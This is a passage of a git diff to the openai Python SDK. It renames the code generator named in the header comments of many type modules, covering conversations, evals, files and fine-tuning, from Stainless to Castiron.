+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from ..responses.response_input_text import ResponseInputText
diff --git a/src/openai/types/conversations/input_text_content_param.py b/src/openai/types/conversations/input_text_content_param.py
index b1fd9a5f1c..b773c1e641 100644
--- a/src/openai/types/conversations/input_text_content_param.py
+++ b/src/openai/types/conversations/input_text_content_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/conversations/item_create_params.py b/src/openai/types/conversations/item_create_params.py
index 9158b7167f..07fd069e04 100644
--- a/src/openai/types/conversations/item_create_params.py
+++ b/src/openai/types/conversations/item_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/conversations/item_list_params.py b/src/openai/types/conversations/item_list_params.py
index a4dd61f399..1bd1e6d60b 100644
--- a/src/openai/types/conversations/item_list_params.py
+++ b/src/openai/types/conversations/item_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/conversations/item_retrieve_params.py b/src/openai/types/conversations/item_retrieve_params.py
index 8c5db1e533..4d4ef13939 100644
--- a/src/openai/types/conversations/item_retrieve_params.py
+++ b/src/openai/types/conversations/item_retrieve_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/conversations/message.py b/src/openai/types/conversations/message.py
index 075f5bd290..1b63ad49ac 100644
--- a/src/openai/types/conversations/message.py
+++ b/src/openai/types/conversations/message.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/conversations/output_text_content.py b/src/openai/types/conversations/output_text_content.py
index cfe9307d74..81c9259f04 100644
--- a/src/openai/types/conversations/output_text_content.py
+++ b/src/openai/types/conversations/output_text_content.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from ..responses.response_output_text import ResponseOutputText
diff --git a/src/openai/types/conversations/output_text_content_param.py b/src/openai/types/conversations/output_text_content_param.py
index dc3e2026f6..da1de7d1af 100644
--- a/src/openai/types/conversations/output_text_content_param.py
+++ b/src/openai/types/conversations/output_text_content_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/conversations/refusal_content.py b/src/openai/types/conversations/refusal_content.py
index 6206c267dc..b9bbe1da26 100644
--- a/src/openai/types/conversations/refusal_content.py
+++ b/src/openai/types/conversations/refusal_content.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from ..responses.response_output_refusal import ResponseOutputRefusal
diff --git a/src/openai/types/conversations/refusal_content_param.py b/src/openai/types/conversations/refusal_content_param.py
index 9b83da5f2d..2fdc845f11 100644
--- a/src/openai/types/conversations/refusal_content_param.py
+++ b/src/openai/types/conversations/refusal_content_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/conversations/summary_text_content.py b/src/openai/types/conversations/summary_text_content.py
index 6464a36599..3a6e3c7096 100644
--- a/src/openai/types/conversations/summary_text_content.py
+++ b/src/openai/types/conversations/summary_text_content.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/conversations/text_content.py b/src/openai/types/conversations/text_content.py
index e602466c47..fbb2ef0724 100644
--- a/src/openai/types/conversations/text_content.py
+++ b/src/openai/types/conversations/text_content.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/create_embedding_response.py b/src/openai/types/create_embedding_response.py
index 314a7f9afc..29b3f1361a 100644
--- a/src/openai/types/create_embedding_response.py
+++ b/src/openai/types/create_embedding_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List
from typing_extensions import Literal
diff --git a/src/openai/types/deleted_skill.py b/src/openai/types/deleted_skill.py
index 6f02f58ca4..e6b6d1439b 100644
--- a/src/openai/types/deleted_skill.py
+++ b/src/openai/types/deleted_skill.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/embedding.py b/src/openai/types/embedding.py
index fbffec01e0..e3b8e9b3a1 100644
--- a/src/openai/types/embedding.py
+++ b/src/openai/types/embedding.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List
from typing_extensions import Literal
diff --git a/src/openai/types/embedding_create_params.py b/src/openai/types/embedding_create_params.py
index ab3e877964..1eeb2b0e54 100644
--- a/src/openai/types/embedding_create_params.py
+++ b/src/openai/types/embedding_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/embedding_model.py b/src/openai/types/embedding_model.py
index 075ff97644..f6e4e71ad0 100644
--- a/src/openai/types/embedding_model.py
+++ b/src/openai/types/embedding_model.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/eval_create_params.py b/src/openai/types/eval_create_params.py
index a1d5ea5371..419a04a2bf 100644
--- a/src/openai/types/eval_create_params.py
+++ b/src/openai/types/eval_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/eval_create_response.py b/src/openai/types/eval_create_response.py
index f3166422ba..93f7df95a2 100644
--- a/src/openai/types/eval_create_response.py
+++ b/src/openai/types/eval_create_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/eval_custom_data_source_config.py b/src/openai/types/eval_custom_data_source_config.py
index 6234c4f47a..19c3bec8b3 100644
--- a/src/openai/types/eval_custom_data_source_config.py
+++ b/src/openai/types/eval_custom_data_source_config.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict
from typing_extensions import Literal
diff --git a/src/openai/types/eval_delete_response.py b/src/openai/types/eval_delete_response.py
index a27261e242..7fd526d43d 100644
--- a/src/openai/types/eval_delete_response.py
+++ b/src/openai/types/eval_delete_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .._models import BaseModel
diff --git a/src/openai/types/eval_list_params.py b/src/openai/types/eval_list_params.py
index d9a12d0ddf..fc882e5b7f 100644
--- a/src/openai/types/eval_list_params.py
+++ b/src/openai/types/eval_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/eval_list_response.py b/src/openai/types/eval_list_response.py
index 7cd92c5a09..58cece5672 100644
--- a/src/openai/types/eval_list_response.py
+++ b/src/openai/types/eval_list_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/eval_retrieve_response.py b/src/openai/types/eval_retrieve_response.py
index 56db7d6bc1..b0f22e9cd6 100644
--- a/src/openai/types/eval_retrieve_response.py
+++ b/src/openai/types/eval_retrieve_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/eval_stored_completions_data_source_config.py b/src/openai/types/eval_stored_completions_data_source_config.py
index d11f6ae14c..c68e553016 100644
--- a/src/openai/types/eval_stored_completions_data_source_config.py
+++ b/src/openai/types/eval_stored_completions_data_source_config.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/eval_update_params.py b/src/openai/types/eval_update_params.py
index 042db29af5..194b4ac1c4 100644
--- a/src/openai/types/eval_update_params.py
+++ b/src/openai/types/eval_update_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/eval_update_response.py b/src/openai/types/eval_update_response.py
index 30d4dbc3a1..817f278405 100644
--- a/src/openai/types/eval_update_response.py
+++ b/src/openai/types/eval_update_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/evals/__init__.py b/src/openai/types/evals/__init__.py
index ebf84c6b8d..1c58a78067 100644
--- a/src/openai/types/evals/__init__.py
+++ b/src/openai/types/evals/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/evals/create_eval_completions_run_data_source.py b/src/openai/types/evals/create_eval_completions_run_data_source.py
index 0e48d7afb9..1ce6faa375 100644
--- a/src/openai/types/evals/create_eval_completions_run_data_source.py
+++ b/src/openai/types/evals/create_eval_completions_run_data_source.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/evals/create_eval_completions_run_data_source_param.py b/src/openai/types/evals/create_eval_completions_run_data_source_param.py
index 4a2a8afa54..480962283c 100644
--- a/src/openai/types/evals/create_eval_completions_run_data_source_param.py
+++ b/src/openai/types/evals/create_eval_completions_run_data_source_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/evals/create_eval_jsonl_run_data_source.py b/src/openai/types/evals/create_eval_jsonl_run_data_source.py
index 36ede2d9eb..7f9e7f8711 100644
--- a/src/openai/types/evals/create_eval_jsonl_run_data_source.py
+++ b/src/openai/types/evals/create_eval_jsonl_run_data_source.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/evals/create_eval_jsonl_run_data_source_param.py b/src/openai/types/evals/create_eval_jsonl_run_data_source_param.py
index b87ba9c5df..f4e7c1d0ea 100644
--- a/src/openai/types/evals/create_eval_jsonl_run_data_source_param.py
+++ b/src/openai/types/evals/create_eval_jsonl_run_data_source_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/evals/eval_api_error.py b/src/openai/types/evals/eval_api_error.py
index 9b2c1871fb..f566803fae 100644
--- a/src/openai/types/evals/eval_api_error.py
+++ b/src/openai/types/evals/eval_api_error.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from ..._models import BaseModel
diff --git a/src/openai/types/evals/run_cancel_response.py b/src/openai/types/evals/run_cancel_response.py
index 100f72dc25..7b53199fcc 100644
--- a/src/openai/types/evals/run_cancel_response.py
+++ b/src/openai/types/evals/run_cancel_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/evals/run_create_params.py b/src/openai/types/evals/run_create_params.py
index 192f2065a7..332a921356 100644
--- a/src/openai/types/evals/run_create_params.py
+++ b/src/openai/types/evals/run_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/evals/run_create_response.py b/src/openai/types/evals/run_create_response.py
index 17fb38bdd2..92ace4f019 100644
--- a/src/openai/types/evals/run_create_response.py
+++ b/src/openai/types/evals/run_create_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/evals/run_delete_response.py b/src/openai/types/evals/run_delete_response.py
index d48d01f86c..cd65712b28 100644
--- a/src/openai/types/evals/run_delete_response.py
+++ b/src/openai/types/evals/run_delete_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
diff --git a/src/openai/types/evals/run_list_params.py b/src/openai/types/evals/run_list_params.py
index 383b89d85c..040b8ddb47 100644
--- a/src/openai/types/evals/run_list_params.py
+++ b/src/openai/types/evals/run_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/evals/run_list_response.py b/src/openai/types/evals/run_list_response.py
index 224ca345b8..acdc52d8c0 100644
--- a/src/openai/types/evals/run_list_response.py
+++ b/src/openai/types/evals/run_list_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/evals/run_retrieve_response.py b/src/openai/types/evals/run_retrieve_response.py
index fc2c6f442b..1faf08d8db 100644
--- a/src/openai/types/evals/run_retrieve_response.py
+++ b/src/openai/types/evals/run_retrieve_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/evals/runs/__init__.py b/src/openai/types/evals/runs/__init__.py
index b77cbb6acd..ca2b64ea96 100644
--- a/src/openai/types/evals/runs/__init__.py
+++ b/src/openai/types/evals/runs/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/evals/runs/output_item_list_params.py b/src/openai/types/evals/runs/output_item_list_params.py
index 073bfc69a7..15c4a29f2f 100644
--- a/src/openai/types/evals/runs/output_item_list_params.py
+++ b/src/openai/types/evals/runs/output_item_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/evals/runs/output_item_list_response.py b/src/openai/types/evals/runs/output_item_list_response.py
index a906a29df7..5db0f34570 100644
--- a/src/openai/types/evals/runs/output_item_list_response.py
+++ b/src/openai/types/evals/runs/output_item_list_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import TYPE_CHECKING, Dict, List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/evals/runs/output_item_retrieve_response.py b/src/openai/types/evals/runs/output_item_retrieve_response.py
index 42ba4b2864..096ff4d013 100644
--- a/src/openai/types/evals/runs/output_item_retrieve_response.py
+++ b/src/openai/types/evals/runs/output_item_retrieve_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import TYPE_CHECKING, Dict, List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/file_chunking_strategy.py b/src/openai/types/file_chunking_strategy.py
index ee96bd7884..087cd46ece 100644
--- a/src/openai/types/file_chunking_strategy.py
+++ b/src/openai/types/file_chunking_strategy.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Annotated, TypeAlias
diff --git a/src/openai/types/file_chunking_strategy_param.py b/src/openai/types/file_chunking_strategy_param.py
index 25d94286d8..e5f2afbf9b 100644
--- a/src/openai/types/file_chunking_strategy_param.py
+++ b/src/openai/types/file_chunking_strategy_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/file_content.py b/src/openai/types/file_content.py
index d89eee623e..a96d56b232 100644
--- a/src/openai/types/file_content.py
+++ b/src/openai/types/file_content.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import TypeAlias
diff --git a/src/openai/types/file_create_params.py b/src/openai/types/file_create_params.py
index 5e2afc0655..6480e36cef 100644
--- a/src/openai/types/file_create_params.py
+++ b/src/openai/types/file_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/file_deleted.py b/src/openai/types/file_deleted.py
index f25fa87a8d..3234feb5ba 100644
--- a/src/openai/types/file_deleted.py
+++ b/src/openai/types/file_deleted.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/file_list_params.py b/src/openai/types/file_list_params.py
index 058d874c29..a2b07794e6 100644
--- a/src/openai/types/file_list_params.py
+++ b/src/openai/types/file_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/file_object.py b/src/openai/types/file_object.py
index 4a9901fd3f..b846ade291 100644
--- a/src/openai/types/file_object.py
+++ b/src/openai/types/file_object.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/file_purpose.py b/src/openai/types/file_purpose.py
index b2c2d5f9fc..425f8e5026 100644
--- a/src/openai/types/file_purpose.py
+++ b/src/openai/types/file_purpose.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/fine_tuning/__init__.py b/src/openai/types/fine_tuning/__init__.py
index cc664eacea..479c7725fb 100644
--- a/src/openai/types/fine_tuning/__init__.py
+++ b/src/openai/types/fine_tuning/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/fine_tuning/alpha/__init__.py b/src/openai/types/fine_tuning/alpha/__init__.py
index 6394961b0b..d9754ebd25 100644
--- a/src/openai/types/fine_tuning/alpha/__init__.py
+++ b/src/openai/types/fine_tuning/alpha/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/fine_tuning/alpha/grader_run_params.py b/src/openai/types/fine_tuning/alpha/grader_run_params.py
index 646407fe09..35e7029d45 100644
--- a/src/openai/types/fine_tuning/alpha/grader_run_params.py
+++ b/src/openai/types/fine_tuning/alpha/grader_run_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/fine_tuning/alpha/grader_run_response.py b/src/openai/types/fine_tuning/alpha/grader_run_response.py
index 8ef046d133..9023af5901 100644
--- a/src/openai/types/fine_tuning/alpha/grader_run_response.py
+++ b/src/openai/types/fine_tuning/alpha/grader_run_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, Optional
diff --git a/src/openai/types/fine_tuning/alpha/grader_validate_params.py b/src/openai/types/fine_tuning/alpha/grader_validate_params.py
index fe9eb44e32..b4498d1d96 100644
--- a/src/openai/types/fine_tuning/alpha/grader_validate_params.py
+++ b/src/openai/types/fine_tuning/alpha/grader_validate_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/fine_tuning/alpha/grader_validate_response.py b/src/openai/types/fine_tuning/alpha/grader_validate_response.py
index b373292d80..ae52470204 100644
--- a/src/openai/types/fine_tuning/alpha/grader_validate_response.py
+++ b/src/openai/types/fine_tuning/alpha/grader_validate_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union, Optional
from typing_extensions import TypeAlias
diff --git a/src/openai/types/fine_tuning/checkpoints/__init__.py b/src/openai/types/fine_tuning/checkpoints/__init__.py
index 5447b4d818..115574cd40 100644
--- a/src/openai/types/fine_tuning/checkpoints/__init__.py
+++ b/src/openai/types/fine_tuning/checkpoints/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/fine_tuning/checkpoints/permission_create_params.py b/src/openai/types/fine_tuning/checkpoints/permission_create_params.py
index e7cf4e4ee4..a9a8d3abd9 100644
--- a/src/openai/types/fine_tuning/checkpoints/permission_create_params.py
+++ b/src/openai/types/fine_tuning/checkpoints/permission_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/fine_tuning/checkpoints/permission_create_response.py b/src/openai/types/fine_tuning/checkpoints/permission_create_response.py
index 459fa9dee7..9a4a28d9f5 100644
--- a/src/openai/types/fine_tuning/checkpoints/permission_create_response.py
+++ b/src/openai/types/fine_tuning/checkpoints/permission_create_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/fine_tuning/checkpoints/permission_delete_response.py b/src/openai/types/fine_tuning/checkpoints/permission_delete_response.py
index 1a92d912fa..dc961a9b2c 100644
--- a/src/openai/types/fine_tuning/checkpoints/permission_delete_response.py
+++ b/src/openai/types/fine_tuning/checkpoints/permission_delete_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/fine_tuning/checkpoints/permission_list_params.py b/src/openai/types/fine_tuning/checkpoints/permission_list_params.py
index 1f389920aa..5b99121d95 100644
--- a/src/openai/types/fine_tuning/checkpoints/permission_list_params.py
+++ b/src/openai/types/fine_tuning/checkpoints/permission_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/fine_tuning/checkpoints/permission_list_response.py b/src/openai/types/fine_tuning/checkpoints/permission_list_response.py
index 26e913e0c2..4a8a240c50 100644
--- a/src/openai/types/fine_tuning/checkpoints/permission_list_response.py
+++ b/src/openai/types/fine_tuning/checkpoints/permission_list_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/fine_tuning/checkpoints/permission_retrieve_params.py b/src/openai/types/fine_tuning/checkpoints/permission_retrieve_params.py
index 6e66a867ca..d85277089d 100644
--- a/src/openai/types/fine_tuning/checkpoints/permission_retrieve_params.py
+++ b/src/openai/types/fine_tuning/checkpoints/permission_retrieve_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/fine_tuning/checkpoints/permission_retrieve_response.py b/src/openai/types/fine_tuning/checkpoints/permission_retrieve_response.py
index 34208958ef..a36aa14cd7 100644
--- a/src/openai/types/fine_tuning/checkpoints/permission_retrieve_response.py
+++ b/src/openai/types/fine_tuning/checkpoints/permission_retrieve_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/fine_tuning/dpo_hyperparameters.py b/src/openai/types/fine_tuning/dpo_hyperparameters.py
index cd39f308a4..08ef624508 100644
